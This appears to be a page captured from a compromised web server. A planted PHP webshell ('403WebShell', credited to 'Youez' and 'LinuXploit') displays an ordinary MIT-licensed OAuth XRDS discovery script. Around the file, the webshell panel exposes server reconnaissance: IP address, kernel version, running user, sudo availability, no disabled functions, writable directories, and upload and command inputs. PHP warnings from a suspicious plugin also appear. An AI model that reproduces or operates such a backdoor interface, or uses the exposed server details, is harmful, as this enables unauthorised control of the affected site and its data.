Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_support/public/static/OAuth2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_support/public/static/OAuth2/OAuthDiscovery.php
<?php

/**
 * Handle the discovery of OAuth service provider endpoints and static consumer identity.
 * 
 * @version $Id$
 * @author Marc Worrell <marcw@pobox.com>
 * @date  Sep 4, 2008 5:05:19 PM
 * 
 * The MIT License
 * 
 * Copyright (c) 2007-2008 Mediamatic Lab
 * 
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 * 
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 * 
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

class OAuthDiscovery
{
	/**
	 * Return a description how we can do a consumer allocation.  Prefers static allocation if
	 * possible.  If static allocation is possible
	 * 
	 * See also: http://oauth.net/discovery/#consumer_identity_types
	 * 
	 * @param string uri
	 * @return array		provider description
	 */
	static function discover ( $uri )
	{
		// See what kind of consumer allocations are available
		$xrds_file = self::discoverXRDS($uri);
		if (!empty($xrds_file))
		{
			$xrds = xrds_parse($xrds_file);
			if (empty($xrds))
			{
				throw new Exception('Could not discover OAuth information for '.$uri);
			}
		}
		else
		{
			throw new Exception('Could not discover XRDS file at '.$uri);
		}

		// Fill an OAuthServer record for the uri found
		$ps			= parse_url($uri);
		$host		= isset($ps['host']) ? $ps['host'] : 'localhost';
		$server_uri = $ps['scheme'].'://'.$host.'/';

		$p = array(
				'user_id'			=> null,
				'consumer_key'		=> '',
				'consumer_secret'	=> '',
				'signature_methods'	=> '',
				'server_uri'		=> $server_uri,
				'request_token_uri'	=> '',
				'authorize_uri'		=> '',
				'access_token_uri'	=> ''
			);


		// Consumer identity (out of bounds or static)
		if (isset($xrds['consumer_identity']))
		{
			// Try to find a static consumer allocation, we like those :)
			foreach ($xrds['consumer_identity'] as $ci)
			{
				if ($ci['method'] == 'static' && !empty($ci['consumer_key']))
				{
					$p['consumer_key']    = $ci['consumer_key'];
					$p['consumer_secret'] = '';
				}
				else if ($ci['method'] == 'oob' && !empty($ci['uri']))
				{
					// TODO: Keep this uri somewhere for the user?
					$p['consumer_oob_uri'] = $ci['uri'];
				}
			}
		}

		// The token uris
		if (isset($xrds['request'][0]['uri']))
		{
			$p['request_token_uri'] = $xrds['request'][0]['uri'];
			if (!empty($xrds['request'][0]['signature_method']))
			{
				$p['signature_methods'] = $xrds['request'][0]['signature_method'];
			}
		}
		if (isset($xrds['authorize'][0]['uri']))
		{
			$p['authorize_uri'] = $xrds['authorize'][0]['uri'];
			if (!empty($xrds['authorize'][0]['signature_method']))
			{
				$p['signature_methods'] = $xrds['authorize'][0]['signature_method'];
			}
		}
		if (isset($xrds['access'][0]['uri']))
		{
			$p['access_token_uri'] = $xrds['access'][0]['uri'];
			if (!empty($xrds['access'][0]['signature_method']))
			{
				$p['signature_methods'] = $xrds['access'][0]['signature_method'];
			}
		}
		return $p;
	}
	
	
	/**
	 * Discover the XRDS file at the uri.  This is a bit primitive, you should overrule
	 * this function so that the XRDS file can be cached for later referral.
	 * 
	 * @param string uri
	 * @return string		false when no XRDS file found
	 */
	static protected function discoverXRDS ( $uri, $recur = 0 )
	{
		// Bail out when we are following redirects
		if ($recur > 10)
		{
			return false;
		}
		
		$data = self::curl($uri);

		// Check what we got back, could be:
		// 1. The XRDS discovery file itself (check content-type)
		// 2. The X-XRDS-Location header
		
		if (is_string($data) && !empty($data))
		{
			list($head,$body) = explode("\r\n\r\n", $data);
			$body = trim($body);
			$m	  = false;

			// See if we got the XRDS file itself or we have to follow a location header
			if (	preg_match('/^Content-Type:\s*application\/xrds+xml/im', $head)
				||	preg_match('/^<\?xml[^>]*\?>\s*<xrds\s/i', $body)
				||	preg_match('/^<xrds\s/i', $body)
				)
			{
				$xrds = $body;
			}
			else if (	preg_match('/^X-XRDS-Location:\s*([^\r\n]*)/im', $head, $m)
					||	preg_match('/^Location:\s*([^\r\n]*)/im', $head, $m))
			{
				// Recurse to the given location
				if ($uri != $m[1])
				{
					$xrds = self::discoverXRDS($m[1], $recur+1);
				}
				else
				{
					// Referring to the same uri, bail out
					$xrds = false;
				}
			}
			else
			{
				// Not an XRDS file an nowhere else to check
				$xrds = false;
			}
		}
		else
		{
			$xrds = false;
		}
		return $xrds;
	}
	
	
	/**
	 * Try to fetch an XRDS file at the given location.  Sends an accept header preferring the xrds file.
	 * 
	 * @param string uri
	 * @return array	(head,body), false on an error
	 */
	static protected function curl ( $uri )
	{
		$ch = curl_init();

		curl_setopt($ch, CURLOPT_HTTPHEADER,	 array('Accept: application/xrds+xml, */*;q=0.1'));
		curl_setopt($ch, CURLOPT_USERAGENT,		 'anyMeta/OAuth 1.0 - (OAuth Discovery $LastChangedRevision: 45 $)');
		curl_setopt($ch, CURLOPT_URL, 			 $uri);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_HEADER, 		 true);
		curl_setopt($ch, CURLOPT_TIMEOUT, 		 30);

		$txt = curl_exec($ch);
		curl_close($ch);
		return $txt;
	}
}

/**
 * Parse a XRDS discovery description to a simple array format.
 * 
 * For now a simple parse of the document. Better error checking
 * in a later version.
 * 
 * @version $Id$
 * @author Marc Worrell <marcw@pobox.com>
 * 
 * 
 * The MIT License
 * 
 * Copyright (c) 2007-2008 Mediamatic Lab
 * 
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 * 
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 * 
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

/* example of use:

header('content-type: text/plain');
$file = file_get_contents('../../test/discovery/xrds-magnolia.xrds');
$xrds = xrds_parse($file);
print_r($xrds);

 */ 

/**
 * Parse the xrds file in the argument.  The xrds description must have been 
 * fetched via curl or something else.
 * 
 * TODO: more robust checking, support for more service documents
 * TODO: support for URIs to definition instead of local xml:id
 * 
 * @param string data contents of xrds file
 * @exception Exception when the file is in an unknown format
 * @return array
 */
function xrds_parse ( $data )
{
	$oauth = array();
	$doc   = @DOMDocument::loadXML($data);
	if ($doc === false)
	{
		throw new Exception('Error in XML, can\'t load XRDS document');
	}
		
	$xpath = new DOMXPath($doc);
	$xpath->registerNamespace('xrds',	'xri://$xrds');
	$xpath->registerNamespace('xrd',  	'xri://$XRD*($v*2.0)');
	$xpath->registerNamespace('simple', 'http://xrds-simple.net/core/1.0');

	// Yahoo! uses this namespace, with lowercase xrd in it
	$xpath->registerNamespace('xrd2',  	'xri://$xrd*($v*2.0)');

	$uris = xrds_oauth_service_uris($xpath);

	foreach ($uris as $uri)
	{
		// TODO: support uris referring to service documents outside this one
		if ($uri{0} == '#')
		{
			$id    = substr($uri, 1);
			$oauth = xrds_xrd_oauth($xpath, $id);
			if (is_array($oauth) && !empty($oauth))
			{
				return $oauth;
			}
		}
	}

	return false;
}


/**
 * Parse a XRD definition for OAuth and return the uris etc.
 * 
 * @param XPath xpath
 * @param string id
 * @return array
 */
function xrds_xrd_oauth ( $xpath, $id )
{
	$oauth = array();
	$xrd   = $xpath->query('//xrds:XRDS/xrd:XRD[@xml:id="'.$id.'"]');
	if ($xrd->length == 0)
	{
		// Yahoo! uses another namespace
		$xrd = $xpath->query('//xrds:XRDS/xrd2:XRD[@xml:id="'.$id.'"]');
	}

	if ($xrd->length >= 1)
	{
		$x 		  = $xrd->item(0);
		$services = array();
		foreach ($x->childNodes as $n)
		{
			switch ($n->nodeName)
			{
			case 'Type':
				if ($n->nodeValue != 'xri://$xrds*simple')
				{
					// Not a simple XRDS document
					return false;
				}
				break;
			case 'Expires':
				$oauth['expires'] = $n->nodeValue;
				break;
			case 'Service':
				list($type,$service) = xrds_xrd_oauth_service($n);
				if ($type)
				{
					$services[$type][xrds_priority($n)][] = $service;
				}
				break;
			}
		}
		
		// Flatten the services on priority
		foreach ($services as $type => $service)
		{
			$oauth[$type] = xrds_priority_flatten($service);
		}
	}
	else
	{
		$oauth = false;
	}
	return $oauth;
}


/**
 * Parse a service definition for OAuth in a simple xrd element
 * 
 * @param DOMElement n
 * @return array (type, service desc)
 */
function xrds_xrd_oauth_service ( $n )
{
	$service = array(
				'uri'				=> '',
				'signature_method'	=> array(),
				'parameters'		=> array()
				);

	$type    = false;
	foreach ($n->childNodes as $c)
	{
		$name  = $c->nodeName;
		$value = $c->nodeValue;
		
		if ($name == 'URI')
		{
			$service['uri'] = $value;
		}
		else if ($name == 'Type')
		{
			if (strncmp($value, 'http://oauth.net/core/1.0/endpoint/', 35) == 0)
			{
				$type = basename($value);
			}
			else if (strncmp($value, 'http://oauth.net/core/1.0/signature/', 36) == 0)
			{
				$service['signature_method'][] = basename($value);
			}
			else if (strncmp($value, 'http://oauth.net/core/1.0/parameters/', 37) == 0)
			{
				$service['parameters'][] = basename($value);
			}
			else if (strncmp($value, 'http://oauth.net/discovery/1.0/consumer-identity/', 49) == 0)
			{
				$type = 'consumer_identity';
				$service['method'] = basename($value);
				unset($service['signature_method']);
				unset($service['parameters']);
			}
			else
			{
				$service['unknown'][] = $value;
			}
		}
		else if ($name == 'LocalID')
		{
			$service['consumer_key'] = $value;
		}
		else if ($name{0} != '#')
		{
			$service[strtolower($name)] = $value;
		}
	}
	return array($type, $service);
}


/**
 * Return the OAuth service uris in order of the priority.
 * 
 * @param XPath xpath
 * @return array
 */
function xrds_oauth_service_uris ( $xpath )
{
	$uris	   = array();
	$xrd_oauth = $xpath->query('/xrds:XRDS/xrd:XRD/xrd:Service/xrd:Type[.=\'http://oauth.net/discovery/1.0\']');
	if ($xrd_oauth->length > 0)
	{
		$service = array();
		foreach ($xrd_oauth as $xo)
		{
			// Find the URI of the service definition
			$cs = $xo->parentNode->childNodes;
			foreach ($cs as $c)
			{
				if ($c->nodeName == 'URI')
				{
					$prio 			  = xrds_priority($xo);
					$service[$prio][] = $c->nodeValue;
				}
			}
		}
		$uris = xrds_priority_flatten($service);
	}
	return $uris;
}



/**
 * Flatten an array according to the priority
 * 
 * @param array  ps buckets per prio
 * @return array one dimensional array
 */
function xrds_priority_flatten ( $ps )
{
	$prio = array();
	$null = array();
	ksort($ps);
	foreach ($ps as $idx => $bucket)
	{
		if (!empty($bucket))
		{
			if ($idx == 'null')
			{
				$null = $bucket;
			}
			else
			{
				$prio = array_merge($prio, $bucket);
			}
		}
	}
	$prio = array_merge($prio, $bucket);
	return $prio;
}


/**
 * Fetch the priority of a element
 * 
 * @param DOMElement elt
 * @return mixed		'null' or int
 */
function xrds_priority ( $elt )
{
	if ($elt->hasAttribute('priority'))
	{
		$prio = $elt->getAttribute('priority');
		if (is_numeric($prio))
		{
			$prio = intval($prio);
		}
	}
	else
	{
		$prio = 'null';
	}
	return $prio;
}


/* vi:set ts=4 sts=4 sw=4 binary noeol: */
 

Youez - 2016 - github.com/yon3zu
LinuXploit